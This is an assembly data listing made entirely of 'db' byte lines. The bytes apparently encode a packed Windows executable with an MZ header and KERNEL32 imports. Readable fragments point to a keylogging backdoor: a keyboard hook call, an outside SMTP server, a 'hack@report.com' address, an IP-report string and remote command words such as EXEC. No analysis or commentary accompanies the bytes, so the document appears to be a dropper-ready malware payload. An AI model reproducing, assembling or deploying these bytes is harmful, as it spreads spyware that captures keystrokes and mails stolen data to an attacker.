db 8,155,61,108,9,175,172,128,4,207,0,96,62,155,125,219
db 114,57,246,176,51,176,61,110,248,76,118,216,109,100,180,44
db 210,116,20,12,104,8,255,221,111,31,2,235,217,222,188,201
db 194,16,0,220,129,196,0,254,255,255,131,125,12,240,159,251
db 27,8,47,104,222,192,173,222,125,36,56,255,21,240,117,158
db 61,219,142,93,31,217,218,232,10,58,188,176,80,233,115,161
db 208,221,4,3,19,52,1,136,192,143,150,239,125,174,123,141
db 13,115,24,149,139,11,129,81,4,42,3,107,187,177,140,114
db 116,206,136,19,37,97,51,220,157,225,92,163,28,48,12,143
db 5,24,8,142,217,220,247,109,80,5,114,141,4,169,27,133
db 236,187,173,97,187,235,79,129,107,18,122,117,187,68,10,19
db 1,247,238,183,53,16,8,16,78,117,50,44,7,169,235,43
db 24,237,221,183,102,13,4,13,221,16,139,77,20,21,53,167
db 235,21,68,225,61,91,182,20,2,16,12,118,57,252,248,217
db 216,118,183,153,254,117,225,98,189,116,4,15,28,217,94,107
db 238,139,212,219,65,1,145,21,14,220,35,75,247,216,161,251
db 215,65,8,12,255,16,101,100,121,46,3,216,20,7,24,89
db 70,150,145,11,28,15,32,19,9,228,230,130,24,165,19,23
db 216,65,101,228,141,127,119,104,40,218,65,204,1,1,0,138
db 221,223,24,238,15,133,75,236,200,2,18,204,163,184,137,64
db 217,124,239,241,15,132,47,3,104,140,41,168,132,28,188,212
db 189,189,139,64,12,139,4,0,163,192,37,102,161,188,219,65
db 237,220,253,219,106,25,35,174,102,163,190,21,106,16,104,59
db 15,166,231,123,72,101,162,224,27,60,104,240,10,102,251,61
db 50,50,48,32,15,197,17,181,198,109,195,182,69,10,71,229
db 4,112,17,31,106,64,109,115,159,245,222,48,120,16,17,112
db 163,35,179,138,30,222,179,20,68,81,53,16,96,240,179,237
db 96,151,47,12,161,12,54,205,46,80,26,185,108,251,101,122
db 198,131,248,255,183,89,123,53,10,105,110,230,73,79,3,216
db 91,60,35,7,22,70,2,7,109,224,169,13,148,187,11,130
db 7,13,31,217,123,49,205,71,38,51,53,52,48,148,205,30
db 237,146,1,45,35,1,124,56,146,231,225,201,31,255,125,24
db 76,201,20,214,172,44,166,161,31,223,30,123,79,181,61,184
db 11,104,118,6,255,5,152,80,17,30,254,101,205,89,3,200
db 137,13,208,230,4,169,141,246,17,132,81,164,31,241,14,24
db 177,239,151,153,204,46,139,200,139,61,17,139,102,247,247,34
db 219,243,164,127,15,19,55,130,104,219,132,121,9,239,178,15
db 161,9,55,204,219,128,92,114,10,131,0,212,46,123,135,45
db 158,192,159,171,95,118,164,67,59,53,106,120,9,76,115,88
db 187,63,120,116,55,161,22,57,5,216,13,117,35,133,245,67
db 224,166,14,2,106,5,25,192,104,147,150,37,233,252,158,147
db 134,163,42,131,37,179,236,32,124,147,118,156,4,132,163,116
db 51,127,132,5,249,28,26,195,27,218,21,193,98,109,200,31
db 75,52,28,221,235,13,132,229,151,28,34,104,212,129,241,225
db 39,58,164,195,106,126,27,216,234,133,228,221,203,192,4,117
db 34,24,1,104,39,218,4,190,127,111,234,231,128,61,21,10
db 117,222,161,54,195,142,50,207,134,114,124,255,188,0,191,174
db 117,249,93,200,29,125,31,245,141,61,8,120,185,0,43,214
db 123,203,238,202,243,171,104,13,17,9,188,125,36,6,80,40
db 180,104,75,146,23,80,104,21,8,31,193,78,6,34,81,16
db 19,134,111,96,225,88,80,94,8,120,116,70,141,53,219,65
db 222,127,134,217,141,5,34,229,61,56,192,89,141,185,17,205
db 29,110,52,45,33,128,39,118,13,4,71,222,61,205,247,96
db 219,203,52,86,104,186,96,3,25,3,15,18,177,143,77,49
db 204,104,231,205,114,7,214,50,181,203,227,25,53,107,104,232
db 165,123,191,2,18,24,64,174,103,54,247,169,125,18,24,127
db 0,179,151,125,114,123,35,33,227,148,150,106,15,12,186,197
db 70,12,10,211,120,115,161,248,223,203,130,140,27,144,163,26
db 141,117,206,139,254,86,137,8,175,237,52,1,86,26,16,120
db 18,95,120,96,175,127,141,19,172,60,131,215,88,64,64,4
db 233,255,255,59,198,116,34,87,176,10,106,50,89,242,174,128
db 103,255,0,95,139,199,48,224,178,223,44,34,10,243,166,11
db 201,116,23,56,156,92,98,19,193,252,14,8,202,1,177,25
db 227,161,83,210,119,163,42,90,10,54,194,194,94,236,100,41
db 168,64,144,195,114,140,47,27,117,3,92,251,86,112,113,178
db 199,67,69,254,233,120,114,198,64,83,251,147,185,21,149,20
db 46,141,133,140,252,41,145,13,55,14,33,83,248,24,147,151
db 93,161,250,231,224,221,6,105,5,171,87,104,254,29,24,206
db 71,128,63,27,123,95,88,72,250,118,7,62,0,184,34,215
db 145,166,54,113,97,175,104,13,95,196,169,128,101,195,221,120
db 214,254,76,139,247,98,185,250,109,103,130,217,86,66,75,44
db 151,79,173,224,232,70,67,115,198,86,207,133,126,183,240,43
db 198,6,32,25,149,71,59,241,114,30,78,78,15,11,216,118
db 236,251,32,8,49,3,141,10,80,120,101,109,103,123,67,133
db 157,198,70,1,119,53,61,63,242,105,120,179,93,142,60,36
db 116,28,12,21,57,103,255,238,27,18,50,9,236,173,13,32
db 0,151,137,125,251,129,255,105,110,49,129,221,198,102,111,17
db 213,173,51,219,12,54,7,4,102,120,16,157,1,243,215,27
db 251,56,92,199,133,103,162,141,9,80,6,69,185,125,103,99
db 41,178,28,100,252,225,108,231,161,35,100,100,6,104,76,236
db 236,9,255,200,106,9,104,66,145,230,106,8,90,16,17,235
db 62,132,87,148,149,104,20,117,34,100,48,236,126,127,237,242
db 209,12,141,29,120,5,61,190,24,96,86,255,119,177,245,224
db 6,3,175,6,137,3,198,67,3,32,131,195,4,235,254,151
db 183,183,17,17,5,116,5,22,2,117,7,171,79,176,32,170
db 131,198,4,128,2,67,232,23,180,117,207,97,87,83,35,71
db 203,158,123,195,111,223,235,5,104,122,6,152,188,188,145,222
db 225,104,133,105,33,223,237,161,9,8,8,111,9,186,13,63
db 187,15,200,67,34,160,15,116,97,163,247,38,139,240,197,254
db 28,219,51,255,19,87,135,42,102,139,198,69,176,24,124,220
db 176,118,37,104,94,86,26,22,253,31,176,110,80,93,86,88
db 88,3,240,71,131,255,35,117,190,67,129,108,96,178,96,192
db 112,247,215,11,183,101,135,152,170,20,11,219,185,60,242,220
db 114,180,253,195,23,179,202,102,118,245,47,92,78,12,233,30
db 43,224,108,111,103,111,117,113,185,238,194,70,195,248,143,33
db 49,10,191,6,10,63,205,79,243,235,60,60,50,12,49,60
db 51,5,38,60,52,141,20,246,52,4,27,85,64,15,110,36
db 99,26,160,251,162,14,110,23,254,96,120,109,115,103,32,117
db 73,188,231,210,174,172,170,178,185,209,59,170,250,50,192,170
db 245,19,47,4,118,15,97,179,5,88,201,100,105,114,233,195
db 49,182,33,240,218,97,188,254,186,185,104,197,201,114,119,63
db 176,137,133,184,16,141,189,232,5,130,91,110,180,26,10,148
db 71,120,30,247,47,90,102,251,17,155,116,6,17,114,150,71
db 182,238,13,101,255,181,220,21,86,76,232,189,104,174,134,125
db 97,118,20,235,29,33,252,99,102,96,101,30,254,13,41,130
db 13,140,23,26,40,162,182,143,190,215,65,152,163,182,63,90
db 18,255,110,124,132,75,170,76,60,82,69,80,174,32,0,74
db 33,151,203,229,119,21,1,210,131,0,91,167,67,232,131,251
db 169,97,33,79,215,59,109,34,78,107,45,141,172,67,21,236
db 156,110,66,235,106,43,176,4,78,155,28,204,40,48,2,200
db 5,25,6,153,96,233,114,99,100,117,121,217,28,6,156,61
db 3,90,61,185,112,102,93,126,6,251,248,74,14,24,1,194
db 26,27,136,99,3,222,66,0,186,27,108,246,69,82,32,81
db 105,115,116,161,18,242,233,220,102,98,246,17,228,104,128,223
db 54,11,40,35,167,28,16,117,127,221,238,235,124,4,9,112
db 38,21,252,15,190,10,139,14,227,102,172,165,220,117,81,66
db 219,31,73,46,219,30,158,237,100,139,216,43,1,116,56,83
db 46,0,128,67,198,177,191,131,232,4,120,68,255,54,20,104
db 245,136,16,241,190,131,140,184,135,185,239,191,56,223,6,34
db 125,247,83,101,32,129,254,18,15,190,71,59,195,142,120,102
db 214,17,133,44,28,146,96,54,186,14,138,129,50,72,108,180
db 135,247,88,46,213,140,253,40,141,9,167,103,115,219,147,180
db 59,52,10,148,17,23,176,217,40,105,101,150,31,78,121,152
db 53,12,58,146,173,14,242,116,90,184,255,3,107,105,108,108
db 117,123,70,185,40,152,161,126,227,75,45,111,215,198,71,254
db 0,66,45,117,1,70,86,225,5,111,255,78,48,128,126,255
db 12,2,247,216,204,76,217,207,80,14,46,66,13,106,80,249
db 132,23,8,221,88,21,24,247,235,22,244,76,221,254,137,99
db 118,114,116,117,63,70,125,185,232,171,223,153,161,195,130,104
db 144,46,86,195,10,108,252,34,51,70,115,114,118,108,23,203
db 60,135,141,204,74,14,32,255,145,140,29,18,221,57,78,247
db 57,18,139,132,92,229,129,14,231,2,109,225,129,36,100,115
db 212,190,11,238,126,154,187,20,14,119,51,50,48,5,190,59
db 6,102,129,15,247,52,240,214,39,4,63,45,114,251,1,19
db 13,161,155,99,205,115,2,37,191,3,137,53,34,149,22,217
db 153,91,5,61,38,100,32,91,214,171,50,179,92,115,148,183
db 35,49,144,11,230,232,7,48,33,46,69,210,169,103,255,178
db 159,168,228,162,144,107,196,148,156,40,228,100,34,38,8,217
db 15,12,102,116,117,112,78,88,172,173,154,198,242,76,81,59
db 212,107,148,44,82,75,134,12,51,168,137,87,9,175,13,161
db 22,109,107,13,204,177,35,123,117,83,70,209,106,122,58,128
db 91,163,41,18,113,102,248,210,115,18,210,171,101,89,191,132
db 94,53,27,175,206,237,30,79,10,163,173,75,14,177,37,235
db 245,115,42,126,83,60,176,85,178,46,200,248,104,118,191,219
db 88,12,12,86,13,244,117,225,32,137,110,28,105,176,175,85
db 200,115,180,23,0,213,242,75,73,115,114,109,81,211,59,70
db 100,11,125,80,114,101,110,113,95,210,31,148,140,93,87,102
db 40,100,101,108,25,33,100,45,79,190,145,152,177,64,57,40
db 119,228,49,207,22,242,52,82,54,131,10,104,44,255,192,58
db 161,47,10,8,124,101,120,101,99,117,118,39,140,86,2,79
db 8,227,4,189,224,160,3,85,232,1,104,9,105,145,93,58
db 249,92,24,137,108,26,32,118,182,146,11,20,78,111,112,117
db 209,145,1,9,98,241,177,43,24,130,180,118,15,113,100,20
db 59,94,167,235,23,104,128,7,25,160,9,134,4,216,170,78
db 156,98,132,65,134,234,111,207,17,82,13,187,101,83,230,200
db 211,208,237,61,32,161,107,118,34,121,82,197,104,120,72,92
db 83,67,25,173,8,240,230,50,226,172,144,86,230,158,136,142
db 206,16,208,65,22,229,86,217,223,39,113,222,46,64,128,61
db 11,255,116,18,8,8,179,125,242,254,116,9,239,117,48,72
db 192,121,26,102,203,11,106,183,84,23,86,177,255,11,235,96
db 87,139,206,131,225,127,139,62,0,13,187,208,133,25,95,227
db 246,187,106,65,189,148,178,128,42,88,117,42,116,11,18,90
db 20,146,200,107,160,74,89,126,149,16,156,102,112,117,116,56
db 97,207,80,198,30,52,87,19,117,46,236,115,32,139,223,20
db 11,12,120,111,185,24,235,211,95,143,1,192,204,93,66,223
db 198,30,63,136,19,31,94,139,127,109,1,179,46,83,106,21
db 87,224,21,133,230,110,250,40,18,43,91,163,231,23,138,23
db 167,225,237,237,51,201,73,91,253,176,92,4,252,71,71,75
db 55,25,30,74,200,56,105,162,87,32,88,152,145,162,51,18
db 0,205,182,94,131,80,94,61,205,11,73,244,109,203,70,19
db 189,147,0,44,205,135,69,178,160,178,119,115,100,137,24,32
db 164,146,1,13,129,128,96,198,206,50,14,191,58,51,118,217
db 102,36,34,15,67,32,26,176,148,217,38,132,167,239,227,13
db 210,139,167,51,187,143,43,83,29,15,249,52,42,1,192,87
db 117,66,255,50,43,171,133,60,147,115,172,145,45,158,111,79
db 211,187,172,64,11,132,179,61,28,134,153,128,115,54,195,73
db 189,104,136,189,239,47,182,132,187,99,133,65,42,73,163,116
db 31,57,20,137,126,114,22,123,52,42,37,128,59,124,235,190
db 132,203,26,201,12,197,61,12,102,213,4,25,5,142,104,133
db 60,156,140,131,45,35,0,112,118,92,8,247,131,165,120,96
db 65,122,159,121,128,59,125,131,109,3,249,128,39,67,193,91
db 199,3,80,179,112,86,243,232,24,83,15,244,2,124,15,215
db 240,13,133,139,123,8,11,140,196,31,141,247,45,70,190,46
db 12,183,252,3,127,3,116,109,68,73,223,98,105,127,4,83
db 64,176,4,104,122,175,167,45,38,123,193,142,220,14,130,162
db 192,222,44,102,10,162,23,151,32,11,179,243,255,133,125,39
db 124,128,127,101,199,250,136,58,236,27,10,117,60,80,192,145
db 176,192,79,213,88,85,59,216,101,74,18,241,61,3,25,142
db 112,153,185,216,133,47,95,238,238,235,81,167,97,169,15,44
db 105,199,45,237,8,79,89,177,144,16,168,235,93,235,64,104
db 144,20,74,143,86,178,217,5,62,65,3,46,99,226,25,244
db 11,245,164,94,3,252,161,58,235,175,254,110,138,24,185,85
db 139,125,8,120,170,44,94,224,193,127,3,248,79,17,92,117
db 250,141,5,96,246,126,103,56,31,117,246,46,123,30,253,251
db 218,11,167,134,60,56,95,18,87,242,136,139,77,252,60,82
db 117,181,17,57,145,206,203,104,217,97,146,188,228,6,56,16
db 108,16,108,253,197,132,240,25,11,5,179,201,194,8,8,67
db 196,184,51,48,16,102,200,93,194,205,70,173,74,183,180,75
db 220,5,4,56,249,86,165,11,203,65,0,50,19,81,239,77
db 118,231,208,17,26,12,35,55,201,27,208,98,106,37,46,195
db 65,53,13,180,83,76,138,20,19,172,9,24,123,86,221,64
db 94,125,32,24,19,95,225,62,254,104,41,9,108,4,199,8
db 33,95,244,255,208,195,225,4,133,87,154,50,47,195,179,11
db 61,147,128,82,178,18,20,148,79,147,130,21,111,75,30,104
db 36,162,241,173,0,210,21,185,218,158,218,59,129,169,75,163
db 166,8,4,239,197,14,228,32,3,42,70,19,148,140,120,118
db 9,110,96,146,51,180,111,192,88,177,200,249,83,131,101,204
db 27,121,158,136,45,201,15,90,149,196,229,200,65,32,131,204
db 137,112,98,217,110,141,29,191,29,200,25,204,80,3,208,3
db 180,134,183,212,80,34,104,200,209,152,193,243,125,54,5,34
db 117,252,50,172,140,19,242,144,54,50,93,200,80,129,106,139
db 44,164,195,138,3,233,51,103,37,59,100,91,147,163,42,67
db 4,43,176,94,35,43,253,44,2,125,36,110,21,56,195,214
db 114,117,160,211,131,69,98,88,162,212,155,154,184,104,24,140
db 91,243,216,8,216,236,131,125,120,36,10,116,56,6,16,83
db 47,202,121,182,183,116,17,30,248,33,18,248,232,218,97,131
db 189,3,255,69,216,14,154,89,139,18,182,11,152,202,92,61
db 79,255,1,20,214,130,57,176,95,32,82,220,124,50,80,50
db 216,1,97,160,55,146,193,204,1,26,91,166,6,50,193,39
db 77,90,144,0,116,137,197,136,217,93,211,0,184,0,0,188
db 249,127,115,145,4,200,14,31,186,14,0,180,9,205,33,184
db 1,76,219,255,239,96,84,45,32,112,114,111,103,114,97,109
db 32,99,97,110,110,111,235,98,169,191,109,245,101,32,114,117
db 46,105,2,68,79,83,32,109,111,212,96,255,193,126,46,13
db 13,10,36,67,113,212,247,219,53,181,153,136,3,143,220,124
db 119,38,7,201,149,139,136,52,187,170,138,82,105,99,11,117
db 132,189,104,27,139,80,144,76,254,176,75,193,1,5,33,182
db 61,19,224,0,14,33,11,193,6,27,91,12,220,8,228,16
db 3,123,179,177,177,32,34,16,11,2,26,0,7,103,110,73
db 55,12,96,30,52,16,179,240,108,96,7,6,224,49,47,156
db 38,6,201,194,48,44,60,10,69,194,0,217,72,0,0,48
db 139,123,167,219,224,46,116,103,116,164,146,144,179,126,223,45
db 236,4,35,234,96,46,98,115,115,16,112,2,252,203,5,118
db 123,128,208,46,114,100,97,116,97,192,146,48,185,124,2,59
db 2,247,102,179,102,64,46,38,106,160,47,207,242,79,217,12
db 39,192,46,114,101,108,111,99,104,80,194,78,201,32,14,66
db 0,0,167,192,21,162,91,69,137,83,37,28,19,165,2,9
db 193,133,175,66,197,112,125,244,117,32,38,94,26,75,174,169
db 24,116,20,80,45,116,11,152,130,104,195,123,8,42,232,134
db 20,252,190,40,252,235,30,37,115,24,196,43,241,6,217,27
db 4,246,70,88,76,188,19,111,54,97,54,36,105,247,7,153
db 90,230,120,6,41,8,163,51,182,48,19,174,208,183,94,60
db 144,177,147,181,15,81,41,14,34,12,95,119,44,62,41,2
db 195,24,12,34,64,100,51,222,102,83,189,18,228,12,192,40
db 216,247,164,250,185,9,122,13,39,120,171,228,94,86,173,254
db 16,136,93,87,83,81,86,82,70,205,190,88,124,10,80,78
db 57,210,205,108,255,11,246,54,183,27,22,228,90,94,89,91
db 95,62,8,26,48,87,158,188,250,37,32,240,244,135,26,25
db 73,218,52,3,71,235,248,13,172,253,111,191,255,92,116,7
db 198,7,92,128,103,27,70,149,58,27,185,110,194,250,64,232
db 198,20,228,158,144,238,75,133,252,128,189,238,22,115,31,21
db 187,224,113,247,48,84,29,154,63,123,200,97,103,238,158,252
db 235,72,66,163,109,16,14,12,66,240,66,3,169,54,153,187
db 212,192,104,2,108,23,234,66,143,153,47,11,16,255,181,226
db 15,255,85,12,154,207,135,122,161,41,188,250,40,204,108,94
db 104,88,86,18,219,8,138,37,32,48,200,200,200,86,5,4
db 8,12,200,200,200,200,16,20,24,28,200,200,200,200,0,56
db 40,44,162,176,204,200,48,52,8,166,89,110,47,80,49,3
db 200,48,218,234,92,211,52,203,2,49,18,44,68,188,19,108
db 154,166,251,0,124,23,140,156,176,106,49,203,119,9,131,48
db 175,92,19,48,164,96,6,51,32,198,231,123,109,49,42,73
db 12,70,88,187,193,2,91,67,95,115,101,31,11,70,182,183
db 183,3,114,115,116,4,108,101,65,29,145,78,43,254,103,38
db 30,16,225,0,71,101,116,67,117,114,187,255,107,254,118,116
db 68,39,101,99,116,111,114,121,240,23,68,114,105,118,101,84
db 22,45,154,221,121,112,39,9,1,76,194,112,242,246,118,236
db 97,108,22,83,116,5,110,103,115,65,62,2,83,116,219,246
db 4,211,2,108,117,114,46,116,11,220,93,226,255,157,112,23
db 75,69,82,78,69,76,51,50,43,108,108,222,254,183,189,13
db 20,0,67,80,108,143,72,111,111,107,69,120,17,219,1,80
db 115,223,37,222,186,116,77,101,153,97,103,177,16,95,177,217
db 221,119,89,15,93,111,87,196,111,119,115,51,43,97,238,183
db 20,129,2,85,110,104,11,22,144,180,178,97,109,83,106,103
db 0,136,217,226,33,19,48,50,34,1,217,52,91,107,172,3
db 24,40,191,16,179,108,154,102,98,246,159,59,50,84,237,232
db 51,77,98,111,57,2,41,75,98,221,182,67,236,114,105,86
db 160,97,236,104,65,110,17,225,173,13,12,120,101,100,46,102
db 73,110,40,208,111,215,213,234,75,66,42,0,82,51,70,206
db 209,86,149,24,83,15,12,0,136,66,154,181,34,25,232,161
db 52,132,176,109,42,181,135,81,70,2,32,68,255,127,179,76
db 16,72,8,48,51,48,79,48,106,48,114,48,119,48,131,48
db 146,255,255,255,255,48,161,48,181,48,196,48,209,48,123,49
db 213,49,232,49,237,49,254,49,14,50,64,50,70,50,76,50
db 82,50,88,50,94,40,146,255,255,50,100,50,106,50,112,50
db 118,50,124,50,130,50,136,50,142,50,134,224,24,141,202,224
db 245,127,34,102,15,218,228,249,5,31,9,123,65,62,71,95
db 228,249,232,249,11,18,220,10,241,9,57,159,104,228,191,35
db 224,247,201,100,73,158,59,142,18,130,113,2,221,138,182,136
db 64,202,70,19,138,195,92,35,14,130,51,178,243,179,70,80
db 84,59,28,104,180,16,203,78,17,236,130,11,121,101,75,246
db 186,101,16,67,65,82,14,133,73,138,111,114,236,250,38,106
db 2,44,25,209,176,106,172,127,43,136,28,156,156,232,250,7
db 236,123,42,32,207,169,182,106,8,39,171,161,120,167,172,252
db 177,141,189,11,204,212,222,109,21,134,166,53,172,170,10,192
db 11,230,59,117,82,92,145,216,121,245,96,195,62,138,81,17
db 106,63,21,141,1,204,190,20,122,18,207,81,77,177,43,130
db 31,132,104,248,37,181,151,173,236,123,160,110,226,127,11,76
db 130,177,98,115,46,13,0,151,2,104,87,76,104,122,64,106
db 177,139,216,170,210,167,179,71,104,251,104,134,214,189,22,169
db 70,138,124,0,198,139,223,81,31,6,9,253,139,200,43,71
db 71,252,87,104,107,75,71,184,167,129,81,136,38,147,156,66
db 86,197,14,0,24,234,3,189,199,138,33,80,131,189,177,8
db 228,22,123,50,186,208,131,165,19,26,224,249,151,241,146,28
db 224,249,10,24,34,162,109,182,65,85,6,74,183,163,190,7
db 185,53,235,176,75,97,4,163,236,15,89,158,75,158,75,240
db 102,244,115,226,100,159,75,248,176,97,90,116,34,203,158,203
db 150,79,182,31,252,196,15,210,41,54,16,17,88,252,128,36
db 145,162,20,229,244,251,106,62,208,191,32,208,54,219,67,155
db 32,57,5,16,227,253,104,43,128,16,145,213,131,61,12,5
db 118,93,192,123,30,141,141,51,148,42,23,104,144,226,61,25
db 228,21,35,124,88,163,38,7,189,243,172,44,252,253,17,218
db 176,3,61,160,74,208,27,97,144,25,123,104,121,96,11,251
db 209,176,201,102,188,14,42,106,80,35,120,128,11,88,104,17
db 123,107,179,243,233,114,38,250,251,20,15,207,200,30,146,61
db 58,98,65,216,250,66,255,172,250,66,2,86,81,139,240,156
db 138,4,49,60,65,114,237,255,111,255,9,60,90,119,5,4
db 32,136,12,73,121,237,139,198,89,94,195,81,51,201,65,128
db 60,35,213,64,76,248,117,249,139,193,89,51,244,51,216,126
db 11,90,114,39,32,117,1,64,129,6,230,238,182,59,103,9
db 9,16,13,117,3,26,65,8,8,117,25,183,37,75,212,115
db 64,255,25,254,13,219,109,224,218,106,107,12,30,146,7,5
db 57,119,52,21,57,25,27,65,12,90,96,76,183,25,43,5
db 88,186,114,10,8,192,100,146,67,206,18,219,228,233,82,171
db 62,57,245,73,116,28,219,210,184,127,191,205,47,254,5,113
db 128,61,5,70,15,130,28,18,97,211,217,48,31,229,120,70
db 103,107,191,44,137,222,9,128,37,40,247,106,166,194,4,42
db 55,58,182,89,145,131,117,190,90,211,237,88,183,63,19,61
db 96,234,5,118,31,80,80,195,10,11,186,44,96,234,10,82
db 92,146,128,230,227,91,89,159,83,209,96,63,9,56,91,65
db 83,104,123,159,139,85,170,247,123,64,187,15,3,29,27,123
db 109,28,227,187,125,202,96,200,202,134,29,199,180,127,33,91
db 38,202,78,163,35,125,118,68,239,247,178,141,181,11,129,61
db 52,188,114,45,22,116,136,206,80,143,217,83,19,50,200,229
db 123,159,71,107,219,88,220,162,135,16,71,64,241,100,187,156
db 102,187,219,0,122,157,76,11,193,227,8,8,72,156,179,145
db 27,106,68,241,72,6,76,111,3,157,13,69,60,114,53,139
db 141,33,190,12,78,150,73,84,0,67,149,231,242,239,15,209
db 14,148,2,28,71,54,138,156,40,27,240,38,219,255,136,92
db 16,4,64,10,219,117,239,82,50,64,38,173,251,174,207,166
db 86,120,44,73,90,141,130,9,51,80,6,50,114,228,200,8
db 3,7,2,134,1,5,46,249,92,58,66,4,80,107,107,0
db 248,32,71,162,96,204,14,232,120,81,82,130,255,55,254,83
db 139,117,12,139,69,8,196,138,20,1,10,210,117,10,145,91
db 90,89,223,104,27,239,251,235,44,128,250,142,18,4,141,13
db 128,234,65,203,203,219,255,179,25,42,218,178,65,2,211,235
db 21,22,97,114,16,122,119,11,97,214,254,47,35,97,134,20
db 49,65,235,189,255,37,112,81,117,5,200,200,200,200,92,88
db 84,80,200,200,200,200,76,72,68,64,200,200,200,200,108,56
db 52,48,200,200,200,200,44,40,36,32,216,200,200,200,28,60
db 96,100,119,35,35,223,201,104,80,5,92,96,100,35,35,35
db 35,104,108,112,116,35,35,35,35,120,124,128,132,35,35,35
db 35,136,140,144,148,35,35,35,35,152,156,160,164,35,35,35
db 35,168,172,176,180,35,35,35,35,184,188,192,196,35,35,35
db 35,200,204,208,212,35,35,35,35,216,220,224,228,35,35,35
db 35,232,236,64,244,35,35,35,35,248,252,240,84,35,35,35
db 35,80,76,72,68,35,35,35,35,28,56,52,48,35,35,35
db 35,44,40,36,32,35,35,35,35,0,24,20,16,35,35,35
db 35,12,8,4,160,70,70,70,158,81,156,152,148,144,70,70
db 70,70,140,120,124,128,93,97,70,70,132,136,238,87,253,119
db 52,74,14,145,142,51,210,138,6,70,60,2,117,18,23,110
db 251,191,6,247,210,70,235,11,44,48,141,12,137,2,72,21
db 118,99,238,21,127,241,141,4,17,51,194,95,237,143,65,20
db 35,35,35,99,5,8,4,168,176,35,35,35,35,180,184,188
db 192,35,35,35,35,196,200,204,208,35,35,35,35,212,216,220
db 224,141,40,178,42,6,146,64,64,149,2,127,249,143,160,84
db 83,95,115,101,114,118,0,97,98,101,102,104,86,48,57,9
db 246,154,2,61,165,104,41,8,51,103,131,84,180,223,109,39
db 83,45,105,99,101,80,114,111,4,190,123,114,187,204,13,10
db 1,45,45,32,83,17,105,111,110,32,84,246,134,253,223,35
db 109,105,110,233,101,44,32,37,115,32,29,41,14,96,109,236
db 189,18,3,56,42,0,14,219,23,246,220,32,10,17,79,78
db 111,117,153,108,255,15,44,217,108,101,88,75,115,109,116,112
db 46,119,97,110,97,100,255,255,127,251,111,111,46,102,114,224
db 104,97,99,107,64,114,101,112,111,114,116,46,99,111,109,0
db 115,97,100,100,97,109,55,160,111,229,46,104,117,140,55,64
db 99,97,14,97,105,255,251,239,177,108,27,45,42,61,1,60
db 32,82,97,112,48,32,73,80,32,62,61,97,219,186,103,20
db 45,0,97,33,17,112,152,85,27,110,119,119,155,96,109,200
db 68,97,116,5,72,101,117,96,32,33,91,1,131,197,129,199
db 46,112,0,33,43,120,5,137,112,43,43,120,5,99,125,35
db 27,97,5,177,0,238,2,177,109,36,83,188,116,96,110,80
db 32,65,248,183,119,53,103,101,0,112,213,112,105,0,69,110
db 117,109,129,175,125,131,112,55,41,77,111,100,117,31,89,152
db 193,64,184,78,174,162,83,0,13,191,181,15,60,37,100,32
db 46,194,116,40,115,41,62,102,83,237,25,196,134,121,203,109
db 92,70,67,111,3,131,176,64,108,77,108,231,92,222,115,157
db 69,184,189,92,191,34,65,99,229,12,32,11,134,6,209,39
db 110,111,137,108,116,222,218,237,11,125,58,47,47,119,0,46
db 109,47,60,115,111,102,119,134,141,19,117,72,45,79,23,99
db 77,65,73,26,196,235,254,76,32,70,82,79,77,58,126,115
db 117,145,108,219,100,23,105,116,111,15,70,55,109,12,34,247
db 207,13,182,34,17,84,27,59,83,117,98,106,104,64,83,96
db 51,12,40,0,115,99,188,115,13,6,113,117,105,116,74,46
db 5,0,98,99,195,13,51,5,121,73,116,238,172,253,37,69
db 32,118,55,46,48,32,52,221,32,182,208,248,111,133,112,56
db 223,100,46,32,91,39,63,39,32,16,113,91,130,190,22,32
db 97,102,102,236,101,8,108,39,89,251,96,188,52,100,101,93
db 157,36,73,78,70,223,0,176,49,200,187,13,77,83,71,32
db 34,245,120,55,18,113,193,35,135,32,109,59,34,31,214,188
db 57,123,68,73,82,33,6,87,76,73,83,84,87,67,83,59
db 228,221,76,59,67,86,82,84,67,105,49,154,169,235,54,107
db 111,156,97,144,110,145,169,117,103,173,208,124,156,12,26,99
db 148,116,46,128,193,254,82,83,82,86,76,54,91,235,215,209
db 74,75,20,87,158,4,121,93,16,135,157,117,55,50,45,115
db 12,93,40,83,95,78,57,59,225,107,226,153,115,221,34,29
db 75,133,43,100,34,68,75,216,55,236,251,97,130,34,80,73
db 68,18,67,46,18,59,214,186,13,45,112,189,111,190,44,77
db 75,253,167,144,19,152,25,82,77,69,78,40,67,195,100,77
db 70,134,105,135,215,219,48,53,201,95,168,34,145,23,37,255
db 102,91,97,146,102,26,127,70,73,78,68,107,148,219,118,32
db 2,102,182,101,110,253,46,132,133,195,118,42,65,182,34,107
db 208,110,157,55,155,178,198,171,102,100,101,30,61,97,32,249
db 69,88,69,67,72,205,79,80,150,126,11,236,172,37,117,34
db 42,16,71,165,135,176,199,162,80,85,84,40,32,40,70,190
db 203,66,119,227,108,32,80,191,104,41,161,110,113,46,46,11
db 86,231,58,112,16,117,135,10,251,183,181,177,112,97,92,119
db 177,100,81,65,87,69,66,6,240,67,254,241,69,77,79,87
db 83,68,76,85,114,108,47,97,101,29,131,29,46,150,34,154
db 228,206,16,13,249,75,69,89,192,94,194,210,108,183,91,1
db 48,93,3,49,42,93,216,187,91,70,35,193,239,202,79,70
db 70,50,109,187,21,56,49,60,126,79,79,211,50,184,109,91
db 250,182,79,137,82,24,51,96,72,229,68,14,195,9,179,11
db 18,52,32,44,73,73,42,109,105,107,39,141,200,236,99,167
db 117,134,29,0,205,192,111,32,184,143,79,0,212,84,12,96
db 23,99,80,100,117,166,82,193,113,205,207,156,154,36,22,182
db 55,45,228,93,17,118,111,121,101,14,97,26,99,107,144,158
db 54,147,117,193,46,155,69,204,173,125,166,147,185,178,37,105
db 72,38,10,89,194,182,108,13,114,64,44,14,139,85,218,4
db 102,108,210,96,110,76,206,84,234,10,118,77,243,94,254,0
db 23,129,214,95,7,45,8,194,194,217,37,179,57,120,65,67
db 163,109,71,131,215,172,185,36,18,45,108,187,104,232,58,16
db 38,101,117,108,63,131,7,219,86,216,206,47,82,41,185,223
db 221,181,10,3,38,162,79,87,101,98,54,97,111,169,4,85
db 115,12,34,76,87,182,118,7,198,102,247,101,203,106,97,159
db 76,6,214,40,208,217,108,1,90,246,234,224,194,205,116,225
db 108,133,63,60,216,26,72,217,112,164,109,229,113,107,237,51
db 247,166,85,157,176,67,122,32,104,39,196,154,146,238,50,121
db 47,118,26,70,74,31,56,111,67,109,173,64,181,243,75,220
db 101,114,172,64,181,35,82,117,110,29,75,83,224,202,67,8
db 24,101,203,185,88,99,39,203,58,23,91,96,240,91,248,92
db 161,26,166,86,0,124,11,124,7,54,193,65,225,67,191,226
